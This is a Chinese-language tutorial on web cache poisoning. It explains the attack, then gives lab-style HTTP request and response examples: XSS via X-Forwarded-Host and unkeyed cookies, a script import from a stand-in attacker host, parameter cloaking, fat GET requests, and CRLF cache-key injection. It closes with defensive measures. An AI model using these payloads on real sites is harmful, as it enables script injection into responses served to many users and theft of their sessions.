一、什么web缓存中毒?
Web缓存中毒(Web Cache Poisoning)是一种攻击技术,攻击者通过操纵Web应用程序的缓存系统,将恶意或欺骗性内容注入到合法的缓存中,以欺骗用户或绕过安全控制。
Web缓存中毒的原理是利用缓存服务器在接收到请求后,将响应保存在缓存中并将相同响应返回给后续请求的用户。攻击者通过在请求中操纵参数、头部或URL等,使缓存服务器错误地将恶意或欺骗性响应存储在缓存中。当其他用户发起相同请求时,缓存服务器将返回被注入的恶意响应,从而达到攻击的目的。
二、Web缓存中毒可能导致那些问题?
恶意内容传播:攻击者可以注入恶意脚本、恶意链接或恶意文件,使用户的浏览器执行恶意代码或下载恶意文件,导致用户设备被感染或受到其他安全威胁。
身份盗窃:攻击者可以伪造登录页面或欺骗性表单,诱使用户输入敏感信息,如用户名、密码、信用卡信息等,从而窃取用户的身份凭证。
网络钓鱼:攻击者可以欺骗用户访问虚假的网站或页面,从而窃取用户的敏感信息或诱导用户进行非法行为。
网站篡改:攻击者可以篡改网站内容,包括更改产品价格、修改订单信息、发布虚假公告等,导致用户受到经济损失或误导。
三、 通过设计缺陷进行利用
1、使用 Web 缓存中毒来传递 XSS 攻击
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
HTTP/1.1 200 OK
Cache-Control: public
<meta property="og:image" content="https://a."><script>alert(1)</script>"/cms/social.png" />
tips;X-Forwarded-Host(XFH)标头是事实上的标准标头,用于标识客户端在主机 HTTP 请求标头中请求的原始主机。
原理:X-Forwarded-Host标头的值用于动态生成Open Graph图像URL,然后将其反映在响应中。并且X-Forwarded-Host标题通常是不加密的。在此示例中,缓存可能容易受到包含简单XSS有效负载的响应的污染。
2、使用 Web 缓存中毒来利用不安全的资源导入处理
GET / HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: evil-user.net
User-Agent: Mozilla/5.0 Firefox/57.0
HTTP/1.1 200 OK
<script src="https://evil-user.net/static/analytics.js"></script>
原理:当网站使用无密钥header动态生成需要导入资源的URL时,攻击者将适当的header的值更改为他们控制的域,如构造恶意Js文件执行恶意代码。
当恶意URL的响应被缓存,则攻击者的js将被导入,并在其请求具有匹配的缓存密钥的任何用户的浏览器会话中执行。
3、使用 Web 缓存中毒利用 Cookie 处理漏洞
GET /blog/post.php?mobile=1 HTTP/1.1
Host: innocent-website.com
User-Agent: Mozilla/5.0 Firefox/57.0
Cookie: session=gyfopPwvyKOx7c796xHpJuE41V55O10m; fehost=prod-cache-01" -alert(1)-"fgsfg
Connection: close
HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
X-Frame-Options: SAMEORIGIN
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsEcommerce.css rel=stylesheet>
<script>
data = {
"host":"0af200b604632c978173f2ef00c80029.web-security-academy.net",
"path":"/",
"frontend":"prod-cache-01" -alert(1)-"fgsfg"
}
</script>
<title>Web cache poisoning with an unkeyed cookie</title>
</head>
<body>
4、具有多个标头的 Web 缓存中毒
tips:X-Forwarded-Scheme头,指示原始请求是通过HTTP还是HTTPS发送的。
例如,当客户端使用HTTPS访问代理服务器,并且代理服务器转发请求到后端应用程序时,代理服务器可以添加X-Forwarded-Scheme: https头,以指示后端应用程序该请求是通过HTTPS发送的。
原理:当缓存服务器通过X-Forwarded-Scheme头识别到主机通过http而不是https发送请求,通过Location: https://exploit 进行跳转,而跳转的时候读取的是X-Forwarded-Host头传递的数据,可通过构造恶意url资源,造成了缓存中毒。
5、使用未知标头进行有针对性的 Web 缓存中毒
tips:X-Host是一个自定义的HTTP请求头部字段,通常用于在请求中指定主机名或域名。
原理:通过排查发现User-Agent为键值,当缓存的User-Agent和受害者一样即可造成缓存利用。
6、使用 Web 缓存中毒利用基于 DOM 的漏洞
原理:通过观察请求包发现,可以通过X-Forwarded-Host传入服务器地址,前端读取X-Forwarded-Host后通过initGeoLocate('//' + data.host + '/resources/json/geolocate.json')调用json,而json传入的值可以在页面进行展示。
7、触发DOM的Web缓存中毒漏洞
X-Original-URL 用来传递原始url数据。通过DOM进行利用。
四、通过实现缺陷进行利用
1、 通过无键控查询字符串导致的 Web 缓存中毒
2、通过非键控查询参数导致的 Web 缓存中毒
UTM参数的全名是Urchin Tracking Module。当我们设定好UTM参数,即可追踪网站活动的流量来源,不同流量来源所占的比例等。
来源(utm_source):用来标识流量来源网站、搜索引擎或其他来源。示例:utm_source=baidu
媒介(utm_medium):用来标识媒介,比如电子邮件或每次点击费用。示例:utm_medium=cpc
名称(utm_campaign):用来标识特定的产品推广活动。示例:utm_campaign=summer_spread
关键字(utm_term):常见于付费关键字广告所使用的字词或是连结名称图片的替代文字。示例:utm_term=web+analysis
内容(utm_content):使用utm_content区分指向同一个网址的广告或链接。示例:utm_content=logolink或utm_content=textlink
3、参数伪装
GET /?example=123?excluded_param=<svg/onload=alert(1)>
GET /?keyed_param=abc&excluded_param=123;keyed_param=bad-stuff-here
4、通过fat GET 请求导致网络缓存中毒
ET /?param=innocent HTTP/1.1
…
param=bad-stuff-here
tips:Fat GET 指带有请求体的 GET 请求,请求体中的参数在一些网站中会被正常处理,而且很可能不包含在缓存键中。
5、URL 规范化缓存注入
ET /example?param="><test>
GET /example?param=%22%3e%3ctest%3e
原理:受害者点击恶意URL,虽然浏览器将url进行了url编码,但是缓存服务器对请求参数做了一些解码处理,当解码结果和投毒一致,于是无法利用的反射型 xss 生效。
6、缓存键注入
存键包括请求中的多个部分,而且经常会简单地进行字符串拼接后做比较。在知道了不同参数的分隔符的前提下,可以通过注入让两个不同的请求具有相同的缓存键。
Pragma: x-get-cache-key" 是一个自定义的HTTP请求头部,用于指示CDN(内容分发网络)提供商获取缓存键(Cache Key)的信息。Cache Key是CDN在缓存内容时使用的唯一标识,用于识别和检索缓存的内容。
当客户端发送带有"Pragma: x-get-cache-key"的HTTP请求时,CDN会解析该请求头部并返回与请求相关的缓存键。这样客户端可以获取到当前请求所对应的缓存键信息,用于调试、监控或其他特定需求。"Content-Length"是一个HTTP响应头部,用于指示服务器返回的响应正文的长度,以字节为单位。该头部字段通常与HTTP请求头中的"Content-Length"字段一起使用,用于确保正确传输响应数据,并帮助接收方正确解析和处理响应。
这个字符串 "%0d%0aContent-Length:%208%0d%0a%0d%0a" 是经过 URL 编码后的文本,表示 HTTP 请求头部的一部分。具体解释如下:"%0d%0a" 表示回车换行符(CRLF),即 Carriage Return (CR) 和 Line Feed (LF)。在 HTTP 协议中,CRLF 用于分隔请求头部的每一行。
"Content-Length: 8" 表示请求头部中的 Content-Length 字段,它指定请求体的长度为 8 个字节。
"%0d%0a%0d%0a" 表示两个回车换行符(CRLF),用于表示请求头部结束,之后是请求体。解题思路:抓包查找注入点,发现localize.js可控制注入点,当 cors 参数为 1,响应会反射请求中的 Origin 头。最终可导致 CRLF 攻击。通过Pragma: x-get-cache-key发现使用的缓存键,当存在 Origin 头会通过&&进行拼接,形成缓存键 X-Cache-Key: /js/localize.js?lang=en?cors=1$$Origin=x%0d%0aContent-Length:%208%0d%0a%0d%0aalert(1)。
访问login?lang=en?发现会自动跳转到login/?lang=en?,并且使用了缓存,跳转页面可通过utm_content非缓存键进行修改。最终跳到login/?lang=en?utm_content=xq%26cors%3d1$$Origin%3dx%250d%250aContent-Length%3a%25208%250d%250a%250d%250aalert(1)%23,而且该url缓存键与我们构造的攻击缓存见一致,最终使用我们精心构造响应,导致攻击成功。
7、内部缓存中毒
判断依据:由于无法通过缓存键进行判断,可通过响应中包含了当前请求的内容以及旧请求的内容,又或者响应中出现了你在其他请求发送的内容,那么很可能使用了应用缓存。
五、防御措施
-
输入验证和过滤:对所有用户输入的参数进行严格的验证和过滤,包括请求的URL、参数、Cookie等。确保输入的数据符合预期格式,避免注入恶意代码或特殊字符。
-
缓存策略设置:确保合理的缓存策略被采用,包括缓存的过期时间、缓存的范围和可缓存的内容类型等。避免对敏感或动态数据进行缓存。
-
缓存完整性校验:在缓存服务器和客户端之间进行数据传输时,使用校验和或数字签名等机制验证数据的完整性。确保缓存的内容没有被篡改。
-
安全的缓存存储:确保缓存服务器的安全性,包括限制对缓存服务器的访问权限、加密敏感数据、监控和审计缓存访问等。
-
隔离缓存和动态内容:将缓存服务器与动态内容的服务器分开部署,确保缓存服务器不会受到恶意请求的影响。
-
定期更新缓存:根据业务需求和数据的变化,定期更新缓存内容,避免缓存中存储过期或失效的数据。
-
监控和日志记录:监控缓存服务器的活动和访问情况,记录异常事件和恶意请求,及时发现并应对潜在的攻击。
-
安全意识培训:对开发人员和系统管理员进行安全意识培训,教育他们如何编写安全的代码、配置安全的缓存策略和处理缓存中毒攻击。